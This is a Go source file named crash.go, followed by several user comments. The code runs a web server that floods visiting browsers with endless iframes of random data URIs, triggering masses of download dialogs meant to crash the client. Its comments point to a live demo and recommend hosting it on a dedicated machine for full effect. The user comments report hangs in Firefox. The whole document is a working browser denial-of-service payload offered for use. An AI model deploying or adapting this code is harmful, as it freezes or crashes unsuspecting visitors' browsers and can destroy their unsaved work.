crash

crash.go

// The basic strategy is to send an endless number of iframes with data URIs
// This causes a flood of download modals that crashes most desktop clients
//
// Currently running demo at: https://fan-pages.herokuapp.com
//
// NOTE: This server has received more traffic than expected so sometimes it
// doesn't serve the HTML fast enough. For the full effect run this Go server
// on a dedicated machine somewhere.
//
// PS: Save your work before you open it ;)

package main

import (
	"encoding/base64"
	"math/rand"
	"net/http"
	"os"
)

func main() {
	http.HandleFunc("/", flood)
	port := os.Getenv("PORT")
	addr := ":" + port
	http.ListenAndServe(addr, nil)
}

func flood(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("Content-Type", "text/html; charset=utf-8")
	flusher, ok := w.(http.Flusher)
	if !ok {
		return
	}
	data := make([]byte, 16)
	head := []byte("<iframe src=\"data:application/octet-stream;base64,")
	foot := []byte("\"></iframe>")
	for {
		for i := 0; i < 100; i++ {
			_, err := w.Write(head)
			if err != nil {
				return
			}
			rand.Read(data)
			encoder := base64.NewEncoder(base64.StdEncoding, w)
			_, err = encoder.Write(data)
			if err != nil {
				return
			}
			encoder.Close()
			_, err = w.Write(foot)
			if err != nil {
				return
			}
		}
		flusher.Flush()
	}
}

I too had a load of download dialogues but no crash. I use Nightly.

Firefox 58, Linux. I got tired of waiting for it to crash so I just kill'd it to get rid of all the dialog boxes.

On Firefox 58.0.2 (64-bit), Windows 10 1709 (x64), Did not crash my browser, it became non responsive for a time 3 minutes or so but the download dialogs stopped and returned to normal once I mass closed all the download windows.